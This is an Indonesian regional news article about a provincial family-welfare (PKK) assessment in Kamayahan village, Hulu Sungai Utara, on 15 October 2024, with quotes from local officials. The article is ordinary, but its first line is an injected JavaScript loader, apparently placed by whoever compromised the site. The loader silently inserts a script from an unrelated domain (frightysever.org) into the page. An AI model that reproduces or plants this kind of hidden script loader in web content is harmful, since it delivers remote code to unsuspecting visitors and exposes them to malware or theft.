(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Desa Kamayahan Kabupaten Hulu Sungai Utara (HSU) mengikuti penilaian peningkatan kesejahteraan keluarga tingkat Provinsi Kalimantan Selatan (Kalsel) tahun 2024.
Kedatangan tim penilai PKK tingkat Provinsi Kalsel disambut Sekretaris Daerah (Sekda) HSU Adi Lesmana beserta pejabat dan Kepala SKPD terkait, TP PKK HSU serta tamu undangan lainnya, di Balai Desa Kamayahan, Selasa (15/10/2024)
Sekda HSU, Adi Lesmana mengatakan melalui kegiatan ini diharapkan menumbuhkan serta meningkatkan kesadaran, khususnya para anggota keluarga untuk senantiasa berupaya memperbaiki kualitas kehidupan secara berkelanjutan.
Baca juga: Ketua TKD Prabowo-Gibran Kalsel Sulaiman Umar Digadang Masuk Kabinet
“Sehingga akan membentuk dan mewujudkan keluarga-keluarga yang memiliki ketahanan, mampu mewujudkan kesejahteraan keluarga, harmonis, lestari, berkarakter, sehat, sejahtera, tegar dan tangguh menghadapi permasalahan kehidupan bermasyarakat, berbangsa dan bernegara,” kata Adi Lesmana.
Dengan terlaksananya kegiatan ini, ia mengingatkan untuk selalu berusaha menerapkan fungsi-fungsi keluarga, seperti keagamaan, kesehatan, kasih sayang, pendidikan, reproduksi, sosialisasi, budaya, ekonomi sampai pada pelestarian lingkungan.
Baca juga: Beri Pemahaman Soal Raperda, Anggota DPRD Kotabaru Datangi Warga
“Apa yang menjadi harapakan kita untuk mencegah stunting sekaligus mewujudkan masyarakat yang adil dan sejahtera dapat kita wujudkan melalui lingkungan terkecil yaitu keluarga,” imbuh Sekda HSU.
Sementara, Kepala Dinas Pemberdayaan Perempuan, Perlindungan Anak dan Keluarga Berencana (DP3AKB) Kalsel, Sri Mawarni, mengatakan penilaian peningkatan kualitas keluarga dimulai dengan mendata kondisi kualitas sumber daya alam, sarana, prasarana serta kondisi masing-masing keluarga.
“Dengan mengatahui kondisi tersebut akan memudahakan intervensi terhadap kelemahan yang ada, dengan melibatkan dinas terkait, instansi dan organisasi terkait lainnya,” katanya.
Dia menambahkan, program peningkatan kualitas keluarga daerah tidak hanya menilai kualitas keluarga, akan tetapi juga menilai kualitas yang meliputi aspek kesehatan, ekonomi, sosial dan pendidikan.
“Dengan demikian dapat memberikan pemahaman kepada keluarga menganai pentingnya nilai-nilai keluarga dan membantu mereka meningkatkan keluarga,” pungkasnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.